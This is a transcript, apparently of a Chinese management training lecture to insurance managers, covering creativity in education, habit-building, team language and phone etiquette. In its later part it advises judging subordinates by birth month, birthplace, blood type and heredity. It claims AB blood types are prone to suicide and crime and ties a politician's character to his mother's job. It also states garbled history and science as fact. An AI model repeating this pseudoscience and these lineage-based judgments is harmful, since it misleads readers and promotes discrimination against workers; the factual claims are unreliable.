我们来看一个图片,这张图片是台湾那边拿来的一个照片。台湾今年办了第13届数学大赛,在那个数学大赛里面,那个小姐姐正在那边独立地做功课,你看看那本书多厚,才小学就读成这个样子,吓死!那他的弟弟,妹妹在旁边,他的妹妹,弟弟在旁边怎么说:不要吵姐姐!那个意思表示妹妹、弟弟在看姐姐的书。如果读数学要读成这个样子,那么各位,我听说,交大清大,北大,四年级的数学,微积分,跟美国哈佛大学的研究生是一样的。

我那个老大在台湾念研究生的,现在在法国念博士,她居然跟我讲这句话:爸,我没想到,法国的课程并不难。我说,其实老外与我们不太一样,他们不喜欢像我们这样研究教条,我说女儿谦虚一点,你很快就会发现,你的想象力跟法国人比起来还是差一点。才一个月,她的电话就又来了:爸,你讲得很有道理,我的创造力跟想象力在法国的这个班上,我只是一个中等,尽管我的女儿在台湾是第一名毕业,到了法国去其实是个中等。人家一讲到创意,她就比不上人家。其实我已经很用心地培养她了,但是我们这个大环境跟法国比起来,他们那个大环境更厉害。所以,在创意上面她勉强挤上一个中等。她得了博士以后,会不会稍微好一点,我不能确定。但至少我把她送到欧洲,希望欧洲的创意能够开启她的脑。然后,以后的博士后,我可能会把她送去美国,让美国再去开启她的创意。我当初选择在欧美也就是为了这个创意。

结果我们把数学读成这个样子,我们各位都读过数学,哪一条定义是中国人提出来的?三角函数,项量,极坐标、极根、因式分解,二项式定理,统统都是老外提出来的。所以,这就证明我们很会解题,我们不会去思考数学逻辑。我在博克兰读书的时候,我的一个中国同学很厉害的,一看到题目就写答案。清华同学,我的同班同学,我们看了大吃一惊啊!终于发现了数学天才,就问他,你怎么这么厉害啊?他说,这种题目在北京早就做过了,他说我来美国做了一万多题,所以一看题目就写答案。可是没想到一考到数学逻辑的时候,他的分数在我们班上是平平,大概第20几名,平平。这就是说他的数学逻辑并不很好,思考这个数学他不会,解这个数学他很厉害。所以,外国人就叹了口气,说中国的人教育太硬,其实这个话是很难听的,就是说软式思考没有,硬式解题很会。

现在我们来看看,人家对我们的一个评论。我们有个本家,姓余,叫余秋雨,这个是我从他那里抄过来的,他那本书叫做《千年一探》。我们余家最早在秦穆公时代,在山西的西边,后来我们得罪了丞相李斯,我们余家就往南边跑了,后来跑到江西,又在明朝的时候得罪了明朝万历皇帝,又使余家分成3支,一去往东跑,是现在江浙一带姓余的,一支往西南西北跑,现在湖北跟四川姓余的,一支往南边跑,就是两广那边姓余的。干龙年间一支姓余的从广东跑到福建,再从福建跑到台湾,就是现在台湾人那边姓余的。我们余家一共有86本祖谱,我统统都有,文革的时候埋在地下,后来又挖起来了,所以我对我们祖先了解大概就是这个样子。

那么余秋雨他和我们家是有点亲戚关系的,他后来去过台湾,我太太很崇拜他的,他在台湾中山大学讲学,我太太亲自去听的,刚好我不在,我到欧洲去了。《东方主义》这本书是一个老外,江卜克写的,你看那个岁月就很早了。1922年今天重新来读这句话,还不敢说人家讲的完全不对。“你有没有想过中国的例子,中国有数以百万讲的好头脑,却被空洞花俏的玩意儿,弄得创意殆尽。他们没有方向,也没有驱策的力量,因此所有努力加起来全是一场空,全世界都耻笑他们”。我读到这句话,眼泪都快流下来了。这句话距离今天是80年前,江卜克先生如果今天重新活过来,看到今天的杭州跟上海,肯定要大吃一惊。可是各位我们都是中国人,把门关起来自我检讨,能不能说这句话到今天早完全不对?到今天还有道理,应该讲我最触动的是第三句话:“统统被空洞花俏的玩意儿,弄得创意殆尽。

另外让我非常触动的衣香鬓影倒数第二句:“全部的努力加起来统统是一场空“。中国有数以百万计的好头脑,统统加起来是一场空。句话对我们一个什么启示?我们可以缩小,中国人寿有上百上千的好头脑,他们的努力加起来是一场空,就是天天都在那里做例行公事,没有创意。

讲到这里,我有两个考试的题目来形容一下。我在台湾读书读到高二的时候,考了一道题目,成吉思汗元太祖继承人渥阔台,公元哪一年牺牲?建立哪四大汉国?最远打到哪里?我到现在都让得,打到匈牙利旁边的亚德利亚海岸。但是我到美国以后才知道,美国世界史这条题目不是这样考的。成吉思汗的继承人渥阔台,当初如果没有牺牲,欧洲会发生什么变化?试从经济、政治、社会三方面分析。有个学生是这样回答的,蒙古人如果当初没有牺牲,那个可怕的黑死病就不会带到欧洲去,后来才知道那个东西是老鼠身上的跳蚤引起的鼠疫。一直到20世纪才知道,黑死病是鼠疫。但是600年前,黑死病在欧洲猖獗的时候,谁晓得这个叫做鼠疫,如果成吉思汗没有牺牲他的继承人,那么就不会有黑死。如果没有黑死,神父跟修女就不会死亡。神父跟修女如果没有死亡,就不会怀疑上帝的存在。如果没有怀疑上帝的存在,就不会有意大利佛罗伦萨的文艺复兴。如果没有文艺复兴,西班牙和南太、南欧就不会强大,西班牙无敌舰队就不可能建立。如果西班牙不够强大,意大利不够强大,翁哥龙沙克斯,会提早200年强大,日耳曼会控制中欧,日陀曼跟奥匈帝国就不可能存在。教授一看说,棒,全班第一名,分析得好,但他们没有分数,只有等级,A!其实教授也没有答案,这种题目教授是没有答案的,可是大家都要思考。

后来我在台湾又读到一道题:甲午战争是公元哪一年爆发?签订的叫什么条约?割让多少土地?赔偿多少银两?我后来到了日本大阪,才知道他们考这道题目不是这样考的。日本跟中国100年打一次仗,19世纪打了一杖,日清战争,他们叫日清,我们叫甲午战争。20世纪打了一场日中战争,我们叫做八年抗战。21世纪如果日本跟中国开火,你认为大概是什么时候?可能的远因和近因在哪里?如果日本赢了,是赢在什么地方?输了是输在什么条件上?分析。每个学生都努力作答案。结果我们一天到晚研究割让辽东半岛、台湾澎湖,赔偿二万万银两,1894年爆发甲午战争,1895年订马关条约,那又怎么样,反正都赔了嘛!银两都给了嘛!最主要的是将来可能会打!所以人家就分析了,日本跟中国很可能在台湾回到中国以后,有一场激战。台湾如果回到中国。中国会把基隆与高雄封锁,台湾海峡就会变成中国的内海,日本的油轮就统统走右边,走中国未来台湾基隆和高雄的右边。这样,会增加日本的运油成本,日本的石油从波斯湾出来跨过印度洋,穿过马六甲海峡,上中国南海,跨台湾海峡进东海,到日本海。这条在日本叫做石油生命线,中国政府如果把台湾海峡锁起来,日本的货轮一定要从那里经过,日本的主力舰和驱逐舰就会出动,中国海军一看到日本出兵,海军马上就会上场,那就打!按照判断,公元2015年-2020年,这场战争可能爆发。所以,日本现在统统做了对华抗战的准备,所以什么事情是进入长期状态,他们的情况,现在开始,把这个事情当作是时事,在小心谨慎的在那里准备。按照他们的判断,中国跟日本的摩擦,会从东海开始,从台湾海峡开始,时间判断是2015-2020年,他们的学生统统在开始答了。这种题目在他们那里是这么考虑的,在我们这里是李鸿章伊腾博文,所以这叫做思考,全世界都在研究他们中学的教育,小学的教育,都在启发他们思考,而我们就孤独地教条化。

我们来看最后一段。最后一段里面,我们来钻研,思考又是怎么出来的?这个地方是这样写的,他有一串。人通常是先有一个想法,有了想法以后就产生一个触动。这个触动就变成一个行为,最后变成一个习惯,所以其实是这样子出来的。而这个中间最困难的一件事情,就是再结冻。我现在指得那个地方,从冰箱拿一个冰块出来,请问,如何变成一个圆的冰球?我们是这样做的,先把这个冰块融化,变成一滩冰水,再把冰水装到圆的容器里,请问这样能变成冰球吗?不会。最重要的功夫是什么?把这个冰球放到冰库里面,让他冰冻,打开了,才是一个冰球,这种工作叫做再结冻。我们缺少的是再结冻的工夫。这件事情如果没有做到,这个习惯是不会弄成的。所以要养成一个习惯,这样去做。

我先拿别的例子,再用另一个例子做总结。我们只要讲第二件事情就好了,我们讲讲杭州吧!你有机会在杭州的街上看看,这么多杭州人每天在那里走路,上下楼梯,进出地下道,其实不要讲杭州,上海人也未必做得到。因为我在上海待得很久啊!我在上海黄埔公园地下道经常走,杭州其实我来过好几次,杭州街上我也走过。我发现我们中国人走路,很难得的是,这边过去统统靠右边,那边过来统统是靠右边。上海黄埔公园那个地下道我不晓得走了多少次?统统都是犬牙交错这样走的。你认为新加坡怎么走道的?新加坡很简单,他们就派一个人站在地道里面,这种行为和习惯一定要再结冻,那个黑衣服的过去,我在讲你,我就在讲你,过去!那个穿红衣服的不要过来,过去。中间这条线是空的。新加坡这样子一年半,新加坡的地道里就是这样子走路的。

其实,这种事情没有别的秘诀,就是把他行为再结冻。后来新加坡在街上做了公共厕所了,包括上海虹口,现在那边也在搞公共厕所了,上海的静安区现在也搞公共厕所了,就是像银白色那样的公共厕所,外观看起来很漂亮,一个女的坐在那里收钱。新加坡不是这样做的,那个外观其实跟我们没有什么不同,大同小异。问题是管公共厕所的人是与我们不一样的。你猜他怎么管?在新加坡上公共厕所最不守规定的其实不是我们中国人,是印度人和马来人。只要他们从大号的房间一出来,那个管理员的手马上一举,说:慢一点,进去,冲掉。敢不冲,马上打电话叫警察来带走。在新加坡,如果不冲可以带到警察局去。乖乖的冲,不要走,那个圈盖上的脚印是你踩的。因为我每个都看,那个脚印是你踩的,擦掉。他又说,慢点!地上卫生纸捡起来,就这样,新加坡的公共厕所管好了。

我有个很深的启示,20年前,我到夏威夷去,坐出租车时,跟那个出租车司机聊起来,他问了我一句话:先生,你从哪里来?我说中国。我在外面不太讲台湾,反正我不喜欢人家问我大陆跟台湾有什么不同?解释个老半天,反正就是中国。他一听中国人,没有想到接下来问了另外一句话,我才知道中国人分为4种:新加坡华人,香港华人,台湾华人,红色华人,就是大陆。我懒得回答,我反问了一句,在你的眼里,谁第一名?新加坡华人世界第一。那么谁第二名?香港!接下去就没有再问了,因为我们不是第3,就是第4名,就不用问了。我的印象非常深刻。新加坡华人世界第一。你看看去年瑞士洛桑公布的,世界生产率排名,新加坡全世界第二位。这就证明他们这个国家是这样子做到的,没有别的秘诀,就是再结冻,把这个行为一直卡住,它就会扭转过来的。

在新加坡不要说吃口香糖,全国都不卖口香糖。他说吃口香糖的人没有几个有道德的,任何吃口香糖的都要记住,口香糖的纸是不能丢掉的,吐的时候是要吐在锡箔纸里面把它包好,再用外面绿色纸把它包起来,把它扔到垃圾筒里去。有几个吃口香糖的人是这样子?新加坡的人说,不要吃,没有道德就不要吃。整个新加坡就统统不卖口香糖,就这么简单。所以新加坡也不能随便抽烟,整个没有别的秘诀,就是把整个行为结冻起来。

那我们拿一个公司看看,这个啤酒你一定听过,三得力。我要讲的是他的行为,不是来讲他的啤酒有多好喝,他的啤酒好喝不好喝对我们没胡关系。在中国一讲到啤酒你会先想到谁?青岛啤酒。这个青岛啤酒是个有历史的公司。没想到青岛啤酒到北京去告状,他们打我,北京说谁敢打中国第一品牌?三得力、百威、齐百力,南边还有珠啤,北边还有燕啤。北京说谁敢打中国第一品牌?就把钱拨下去了,青岛啤酒就笑起来了。中国政府拨了一笔钱,让他去买了46个啤酒厂,吓人吧!大江南北收购,结果一下子,变成中国量产第一位,青岛啤酒就笑起来了。这个消息很快传到三得力的耳朵里,三得力讲了一句话:中国政府无所谓,我们也无所谓,大家打!结果我知道,联华超市第一句是三得力,不是青岛啤酒。这就证明,青岛啤酒自己要检讨。对他们来霁,国家拨款,不是真正解决问题的办法。我个人就非常地反对,人民的税金,国家的血汗,如果青岛啤酒要这样去救他,那么现在快要倒的那些其它的电器公司,尤其是那个长虹我们也要救了。你这样讲巨人也要救了,这样做是错的。这样做,只会耗费国家的国库,那么青岛啤酒碰到三得利,为什么会弄成这个样子?我们来看看三得利是怎么教育的。

三得利刚成立的时候从日本调过来十二个技师,每条生产线后面站一个日本人,专门监督每一个行为。哪个员工做错了,们们就说,也、也!也的中文就是不是这样的意思。~~~那些日本人站三年,三年完之后,这些日本人就慢慢调回日本,后来我去浦东他们三德利啤酒厂,高总,还有他们陈副总,还有那个王科长,送我出来的时候,跟我鞠躬的样子都跟日本人一样。天呀!鞠躬的样子都像日本人了,看看他们捏成什么样子?至于鞠躬要不要像日本人一样,,并不重要,重要的是他们对吃酒的品质和严格的要求,已经做到与日本本土的三得利差不多了。这个就是没有别的秘诀,不停的捏、捏,把他捏出来的国。这个就叫做再结冻。所一个行为,其实是这样出来的。讲一讲是没有用的,写在纸上是没有用的,挂在墙上是没有用的,行为要不停的规范,不停的塑造,不停的强化,最后变成一个圆的冰球。

毛病四:公司的内部形成对立

我们来看另外的问题。这个也是我们常常犯的毛病,公司的内部形成对立。有的时候我们不是故意,但是你不知不觉的就犯这个毛病。所以,我们称之为在公司内部形成对立是一种思想,这种思想常常是不知不觉所犯的毛病。我们先讲第一个概念,跟人家谈到自己公司,只能有一个代名词,叫做我们。因为我们常常讲,你们和他们,其实只有一个代名词,叫做我们,不能讲你们,也不能讲他们。我在当经理的时候,那时候我负责汽车部,有一天跟我们总经理讲了这么一句话。我说他们台南保养厂,没有想到我们总经理这样问了我一句话:谁是他们啊?我居然没有注意,又犯了一次,我说他们台南保养厂。他马上就问了,谁是他们?我只好承认错误,对不起。我们总经理就骂了:余经理,讲话小心一点!身为公司的高级干部,犯这种错误,他们,他们,你是谁啊?你是谁?莫名其妙?我们台南保养厂,怎么他们台南保养厂。有道理,骂得很有道理。

所以,以后你就不能这样讲。他们舟山,你是谁?我们舟山分公司,对不对,我们湖州分公司,我们台州分公司,要这样讲话,我们人力资源部,我们财务部,我们个人服务部,要这样讲话,我们!第一次讲他们,你们,就是犯错。就是在公司里面形成对立,弄到最后做事都是人家的事。你不相信客户会投诉的。客户投诉,打电话到你们公司的时候,你千万不要说,这个保单是哪一个该死的他们写的,这个生意是哪一个该死的他们接的啊!这个帐是哪一个该死的算错的。人家杭州人跟浙江人会怎么讲?那么你是谁啊?你是谁啊?你就是中国人寿嘛。所以面对整个浙江人,你们只有一句话,我们中国人寿。关起门来,回去检讨你们自己谁错了。在客人面前是不能讲他们的。你这样常常讲,很快公司里面形成对立。这就是我们常常犯的毛病。以后养成一个习惯,开会的时候要注意到,任何主管都要记住这个事情,只要一有你底下的人说:他们,咳,咳,犯错!余老师讲过的,不要讲他们、你们,就是我们。以后这个口头语把它改过来。你一不小就讲成他们,你们,你们人力资源部,你们培训部怎么搞的?你们教育事业部怎么搞的?那你是谁?难道你不是中国人寿吗?所以应该说,我们培训部,我们人力资源部,我们财务部,要这样的讲话,所以,千万记住。

为什么讲久了不好呢?有这个问题存在。一天到晚讲你们、他们,会造成疏离感,最严重的会破坏团结。这个地方我讲两个例子。这两个例子,都跟我相关。因为我都经历过的,我很喜欢讲一个我经历过的例子。第一个,我先讲天津。天津有个公司,奥的斯,做电梯的,那公司很大的,在整个中国大陆,很多电梯都是奥的斯。

天津奥的斯总经理姓王,他有次去天津请我吃饭。那天晚上他说,余总,他知道我是总经理,所以他叫我余总。余总,有些事情我想请教你一下,我说不敢,王总,我吃了你的饭,肯定要有点贡献的。听说你在日本公司工作了十几年,我说是的,听说你在美国和英国受过教育,是的。那你很懂日本和美国吗?我说还可以。那么余总,我想请教你一个问题,我们到底和他们有什么不同啊?我说王总,本来我这话是不想讲的,今天晚上就像平安夜一样,吃过这趟饭就算了,你既然问到这个问题,我就实话实说吧!我说,王总,从你们大门进去,有一个长长的过道,两边都是树林跟厂房,那上面你们的MARK很大,奥的斯那个O不见了。我说那个O像人的头六个那么大,那么大一个O不见了,王总经理,你真的没有看到?王总经理,你们公司一天进出七、八百人,都没有看到?我一个客人一看就看到了。以我对你们墙壁的了解,那个O不见至少一个月了。王总经理,这就是你们跟日本三菱电梯最大的不同。我说,王总经理,我不但知道你们有个强大的竞争对手叫日本三菱电梯,我还知道上海最厉害的凯悦金贸,那个86层的大楼标的你们没有拿到,日本三菱电梯抢去了。他说:好了不要说了。他说:那你看怎么办?我说王总经理,这个就叫做团队精神,大家统统进去讲什么话?啊呀!他们怎么没有注意到奥不见了呢?他们!啊呀!他们怎么没有把O安上去?我说王总经理包括你自己在内,你们公司只要有一个人说,啊呀!我们的O不见了,那个O就上去了。对不对?其实你们的团队精神不够的。王总经理,多要求一下你们里面的团队精神吧!不要一天到晚在外面跟日本三菱电梯、富士达去拼命,自己团队精神先建立起来。就凭这么个小动作我就看得出来,你们的团队精神其实不强的。这就是你们跟人家最大的不同。因为日本三菱电梯一坏,叫人修的时候,他们先说,对不起这是我们的错。跳下去修。你们的人不是,一去就是,是哪个该的装的?这是哪个该死的卖的电梯啊?我管你是谁卖的,就是你们的电梯吗?蹲下去修吗?回去再去问谁卖的吗?所以面对所有的客户,都要说我们中国人寿,回家再检讨,这是谁的错,在客户面前是绝对不能讲他们、你们的,一定要说我们中国人寿。这句话养成习惯,一直这样讲。

第二个例子是我在成田机场碰到这样的一个事情,我在成田机场受训,下课的时候,买了一盒西德豆腐,回去一吃,坏的,我就把它丢掉了。第二天我又从那个小操场上走过去,我昨天在这里买了西德豆腐,坏的!你有没有带来?那种东西不值钱我丢掉了!你放心,你放心。我不是来身你要钱的。那个小姐不是那句话,先生,这是大事,你等下。她通!通!就跑上去了。没有多久跟一个男的下来了,那个男的下来时手上拿个塑料袋,另外手上拿了张钞票:先生,这里面还有5盒,保证都是新鲜的,这个钱是你的,我们退给你,我们店里面卖出去这样的豆腐是我们的羞耻。不过,先生,我们已经通知了供货商,下个礼拜开会。如果下个礼拜一你还在我们附近,请你来找我,我会告诉你开会的结果,我们店里面卖出这种豆腐,是我们的羞耻。你听到他讲话,从头到尾只讲一个字叫“我们”吗?他如果是跟我另外讲话就不一样了。他的小姐搞不好把我拦住,坏的?你这个豆腐是在我们这里买的吗?废话吗?除了你们这里哪有超商?那你告诉我哪个小姐卖的?我忘记了。所以你不能确定在我们这里买的,对不对?你回去就马上吃吗?鲜豆腐规定马上吃吗?多少秒之内要吃?你不吃就摆到冰箱吗,鲜豆腐本来就酸酸的,酸酸的是自然的风味。我就会说,好了,不要讲了,我会说,我该死,这是我的第一次,也是最后一次来了。我就走了,所以他们不是这样讲的。所以,我以后只要在成田机场受训,我都去那家超商买东西。不过从今以后再也没有吃到坏的了,那5个免费的就没有机会了。

最重要的我不是图5个免费的,最重要的这是一个态度,这个就叫做我们。先研究自己,说自己是错的,再把人家的问题解决,回来检讨。叫他讲,他绝对不说,啊呀,这豆腐不是我们做的。像上海联华超市可能会这样讲,这豆腐不是我们做的,我们是联华超市,不做豆腐,这是个该死的供货商送的。我不管是谁送的,就是光明鲜奶如果坏了,也是上海联华超市的错。你去找光明,你不要跟我讲光明,我不想听。所以,你在客户面前永远不要提起你后面的人。你就是面对客户,你是中国人寿,你们公司谁把保单写错了,谁把条件开错了,谁把钱收错了,是你们的事。因为在客户面前是千万不能讲你们,他们的。所以,结论就是一天到晚接电话,但是没有养成一个习惯,那是接电话的人就是要解决问题。

上海淮海路有一个公司,你们听说过的,叫做德国贝尔。这公司太有名了,400年了,所以人家一个公司能够400年到今天,一定有他的道理。那个德国人,把我找去:余先,你替我们上一堂课吧!啊呀!我说德国贝尔,是很有名的公司,还要上课吗?他说:余先生你看看外面中国可爱的干部,都是交大的,都是复旦的,都是同济的,还有华师大的,还有浙大的,但是,他说:余先生,你们中国人很好玩的,讲话永远是一句。我没有吭气,听他讲,他反正要继续讲下去。他说我举个例子,余先生,我们公司的材料部,人家去领材料。有没有S1304的材料啊?没有。他说,你们中国人讲话就是一句:没有。他说能不能讲成,有没有S1304的材料啊?目前库存没有,但有两个替代品,1301和1302你要不要?不要,非要1304啊!那么现在上海没有库存,最近的南京有1305支,如果你需要这个货紧急调拨,我可以下个礼拜一把货交到。如果非要这个礼拜,尽量满足你,看看礼拜六能否把货拿到?不能这样讲?没有,一句话。

现在回来讲我们这个话题,通常接电话的人,有三句话我不太喜欢听。你有机会从外面打电话回公司试试看,公司会不会这样讲话?接电话有三咱回话,我听很不舒服的。人家说,请问刘经理在吗?不在!他不在!一句。我不喜欢听这样的话,他不在!什么叫做他不在。刘经理上去到单总的办公室去讲话,还是刘经理下去到底下去说事情?还是刘经理出去在杭州市里面?还是刘经理离开到舟山去了?还是刘经理出国了?讲清楚吗?会讲话的人不是这样讲的:对不起,刘经理不在座位上,但是以我对他的理解,他的包在,30分钟以内应该会回到这个座位的。你32分钟以后打电话过来,如果他还不在,我替你找出他的下落。我姓什么,什么名字,你跟我联系就好了。对方会怎么讲,谢谢!电话就放下了。不能这样讲话吗?

第二句,我不知道!电话打到中国人寿,你不知道谁知道啊?那么我当然知道中国人寿的一个干部,都不可能知道全部的事情。我在乎的不是你知不知道,是你告诉我谁知道,或者是请那个知道的人过来。不知道,电话放下了。第二句话是最莫名其妙的话。

第三句话也是莫名其妙的话:这不归我管。是我最受不了的第3句话,最好笑的是管这个事的就在他的旁边。比如说老李管这个事情。这个孙先生拿起电话来:对不起,这个事情不归我管。结果管这事的就在旁边,只是刚好不在座位上,也许去洗手间了。你不会这样讲吗?对不起,这事业务上不归我管,但既然我在人寿,这事大概多少知道一点,这个李先生走开了一下,你先说说,看你能不能解答。结果对方一说,啊呀,抱歉,真的不能解答,不过李先生很快就会回来,你电话是?手机是?我回来请李先生打电话给你。对方会说,谢谢!电话就放下了。能做到这样吗?所以,从外面打回来,你打给你自己看看,不相信,单总从外面找他自己,把声音稍微改变一下,免得人家认出来。请问那个单总经理在吗?不在!电话就放下了,那么单总就要呆了,对不对?他那像我刚才讲的吧?单总现在不在座位上,但以我对他的了解,他多少时间会回来的。你哪里,回来以后我立刻禀报单总。让他给你回话,对方会怎么说:棒,这种助理就是一流的助理了。他不在,电话放下,就完蛋了。所以,这不证明我们常常犯这个毛病。各位我晓得,到了你们这个层次是不太会犯这个毛病的,因为你已经点了主管,可是别忘了,浙江人碰到的都不是你们。所有浙江跟杭州人碰到的都是你们底下的人,他们有没有这种习惯比你重要,你就是一天到晚他没有在都没有关系,你们底下的不要这样活,因为重要的是他们。

毛病五:管理一视同仁

我们看看第五个常常犯的毛病。第五个常犯的毛病就是一视同仁的管理方式。这句话很多人讲,恩!我一视同仁,但是又忘了另外一件事情,我们常常讲的一视同仁是指公平,指的我对每个人都非常的公平,但是我讲的不是。我讲的是管理,一视同仁的管理方式,不是公平,公平还用讲吗?当然事情要公平。孔子讲过一句话,叫做有教无类,但是孔子有说,我教人只有一种方法,什么叫做有教无类?男人要教,女人也要教,老的要教,小的要教,有钱的要教,穷的要教。是这句话的意思,有教无类。孔子当时讲这个话是这个意思。可是孔子底下有3千门徒,72贤士,请问,统统都一样吗?孔子用一种方法教他们吗?他从严没有讲过这句话。孔子底下有非常优雅的子贡,有非常好客的子路,有非常勤学的颜回,有一天到晚打瞌睡的宰吾。有一天宰吾在那里打瞌睡,孔子说,真是朽木不可雕也。中国成语,朽木不可雕也,就是这样出来的。所以,这就证明,孔子在教他学生,从来淌有用一种方法。

今天如果在中国人寿当一个主管,对底下的人统统是一种方法,这种主管用上海常常讲的口头语,不要太容易啊!这种主管谁不会做啊!做一个主管要研究底下的人,所以底下的人有四个因素研究他:第一个,这个人是什么时候生的?这个叫做时辰,中国人叫做子午头号数,西方人叫星相学,其实是有道理的,什么时候生的。听说1月、2月、3月生下来的人,比较固执,4月、5月、6月生下来的人比较浪漫,7月、8月、9月生下来的人比较谨慎,10月11月12月生下来的人比较喜欢掌权,这个就叫做对人的个性了解。其实我是大略地讲,你给他细分,再往下还可以细分。请问,你注意到了吗?

第二个,什么地方生的?生在杭州跟生在银川不一样,生在西藏跟生在上海不一样,生在哈尔滨跟生在三亚不一样,你注意到这个地球的磁场影响人的脑门。

第三个是血型,A型血的人,做事情特别谨慎,但是他的缺点是优柔寡断,B型的人他的优点,缺点是大而化之。所以,外交官是出生B型。O型的人,非常的豪爽,但是他的缺点是非常的固执,很多军人是O型。AB型的人走极端,他的优点是非常聪明,但他们的缺点是走极端,容易自杀和犯罪。所以很多英雄豪杰和科学家是AB血的,但是很多大流氓,提兰桥里面的好多是AB型的,他们要就很好要就很坏,我们在这里AB的大概都是好的,坏的都提兰桥去了。

第四个是遗传。中国有句成语:龙生龙,凤生凤,老鼠生儿会打洞。我们中国祖先很厉害的,观察很多现象。讲到中国地方我先插一句话,你让得我上节课讲到只生结果,忽视思想吗?中国祖先观察了很多现象,结果呢,再往下去研究,就没有了。龙生龙,凤生凤,这句话遗传工程学,是瑞士的遗传工程学院证明出来的。西方人读到中国的《西游记》,吴承恩写《西游记》,孙悟空拔根花一吹,一堆孙猴子。西方人吓一跳,一千年前,中国人这么早就懂得克隆人的道理呢?结果克隆人是英国剑桥大学试验出来的。宋朝时候写民间故事,一个人被海龙王招亲,回来以后孙子都死了,啊唷!西方人又吓一跳,一千年前,中国的宋朝就懂得相对论。爱因斯坦说,人如果用光在宇宙进行,量子的移动会变得相对缓慢,所以他回来的时候,他的孙子都死了。这种道理,一直到20世纪中叶才开始研究,所以,这就证明中国祖先有这种想象力。就是可惜的,没有提炼。后来我研究的结果就是忽视这个思想和创造力,去一直想这个问题的根源是什么?所以,龙生龙,凤生凤,中国早就讲了。但西方人一直到20世纪才开启了遗传工程学。

意大利的犯罪学家龙卜罗梭,他说,如果有一个双胞胎,哥哥如果犯罪,弟弟犯罪的机率占80%。这就证明,这是来自于遗传,所以,我们就发现有道理。你看中国的诺贝尔奖金得主杨振宁,他老子是谁?芝加哥大学数学博士。我们中国有个有名的原子弹之父钱学森,你看看他们钱家3兄弟,这就叫龙生龙,凤生凤。台湾有个外交次长,沈根北,他的爷爷就是有名的水师提督,福建水师沉保珍。沈保珍有个有名的岳父,姓林叫林则徐,这就龙生龙,凤生凤。西方的音乐家,阿马迪特莫札特,7岁把眼睛蒙起来弹钢琴,奥地利国王坐在旁边,你不看看他的老子是谁,他爸爸是奥地利宫廷乐师,所以生下这种儿子。伟大的居里夫人,两次得诺贝尔,一次物理,一次化学,你不看看他的老子是物理学的教员,所以她从小没有玩洋娃娃,统统玩烧杯和试管,所以,长大以后变为物理学家,有道理。因此很多人就不喜欢台湾那个总统陈水扁,因为他的妈妈是卖菜的,所以他从小跟着卖菜的妈妈,养成陕隘的心态,有关系。台北市长马寅九很多人喜欢他,他的爸爸是马赫林,国防部中将,宋士玉的爸爸宋达,国防部中将,这就龙生龙生,凤生凤,有道理。所以中国考进士,从隋唐以来考进士,很多人不清楚,考进士时第一段是什么?不是题目,先介绍你们家3代,你爸爸,你爷爷,跟你的曾祖父是谁?人家会说,这个老鼠的儿子能用吗?所以,考进士,要先讲3代。

中国人说门当户对,其实今天想起来很有道理的。所以一个人的出生,真的很重要,你看我住得杭州西湖国宾馆,他为什么叫做刘庄,因为他的主人是叫刘学洵,刘学洵是清朝之后光绪年间的进士,而且是康有为的朋友,孙中山的朋友,今天有这个心态,就盖出这个刘庄,现在变成国宾馆,有道理吧。3代,所以,他们刘家三代都非常重视家学。中国人说,家学渊源就是这个意思。那么请问,你能够这样子去想你底下的干部吗?

我们来看看第一段,一把钥匙只能开一道锁,一种技巧只能够对一个人有效。这两天你们都睡在这里,你们的钥匙能开别人的房门?不行!所以记住这句话,一把钥匙只能开一道锁,一种技巧只能对某个人有效,对另外一个人可能就无效。这就证明,我们每个人都要好好研究我们的干部和我们底下的人,他的时辰和地方、血型和遗传虽然不是绝对因素,但是个参考因素。你如果这么用心去研究你底下的人,你就会发现,人是不同的,每个人要用在他适当的地方。研究人力资源的人都知道,把人用错一个地方,就等于是人力的浪费,不管他的出生再好,都是一种浪费。

你看有的人,讲话的时候,眼睛一直看着地上,这种人非常适合守仓库。有的人在那里讲话,一直疙疙瘩瘩中,婆婆妈妈地讲,是标准的客户服务。有的人坐在办公室里好象屁股有刺一样,恨不得冲出去,是标准的外务。吃饭的时候,菜一端上来,他用计算机在旁边计算,是标准的会计。这种人叫天性,工作有密合。结果你把眼睛一直看地上的那个拿出去当外务,把那个屁股有刺一样的拿去当会计,完蛋了!把那个掏计算机的拿去做客户服务,完蛋了!客户一讲话,他就算讲话费多少,他就计算,完蛋了!这就叫把人用错地方。所以其实每个人都有他的概念。

春秋战国时代孟尝君,养了3000个吃饭的,孟尝君养食客3000,人家就跟他讲,孟大爷,你怎么养了3000个吃饭的人?孟尝君说会有用的。有一次孟尝君得罪了国君,那个国君要杀他,这时孟尝要想逃出去,可是这个城门是关牢的,那怎么办呢?急得满头大汗,那时没有发明闹钟啊!他们是听鸡叫,结果孟尝君底下有个人,他说我会学鸡叫,结果他来到城门口附近,咯~~~~~~这个城门就开了,结果孟尝君就跟手下冲出去了,一路,一路挥着汗,说还好,养了个会学鸡叫的,没有想到有用了。这就证明什么人都有用,问题是看你是怎么用的?所以,每个人都有他的效用。这边出来两个解释名词,我尽量不讲名词,是因为我不太喜欢讲理论,但是碰到名词还是提一下。其实我们中国祖先很早早就知道这个道理,只不过西洋人把他提炼炼出来以后,一动就用了他们的专业名字。X和Y加起来是Z,我们是这样做的,X是集权的意思,集权的管理,这个集权,不是政治上的集权。就是说,真正的一把抓。在中国人寿可不可能有一种手下,讨厌做事情,逃避责任,不喜欢用脑筋,有的,一定有这两个人。这时候你就像牧羊犬那样带着他,底下的人都是牲口,你把他带起来好了,你不管那些猪、牛、羊、马是什么想法,反正统统都是逃避责任,不喜欢动脑筋,你就把他带起来。但是你认为中国人寿,每个人都是这样吗?

不可能,第二种就出来了,叫做Y理论,Y理论,我们叫做参与管理。一个部下成熟以后,你就应该让他参与。每天在那里动脑筋想问题。真正如果有这种手下,两个加起来等于Z。其实中国人寿并不是全部都用X来管的,也不是全部用Y来管的,因为这两种人其实统统都有。我们讲到Y,有没有人喜欢接受任务呢?怎么会没有呢?中国未来的主席假如是***,那么未来的总理是谁?不知道?假设我们***总理把我们上海市委**给找去了,我说王兄啊,我年纪大了,准备要退休了,这个位置让你来坐一坐,你看怎么样?你认为**会怎么讲?NO!NO!总理不行,我这个人只能管一个上海,管到嘉定已经很勉强了,一管到昆山我就完了,一超过昆山就一塌糊涂,我的能力仅限于上海,他会这样讲话吗?不会。他一公平会说:谢谢总理的抬爱,你看什么时候上班啊?这就证明,人喜欢任务,没有人不喜欢任务,问题是给他的条件够不够?**先生知道,到了中央,他的权利是很大的。如果真的一点权利都没有,你看他会不会愿意去?

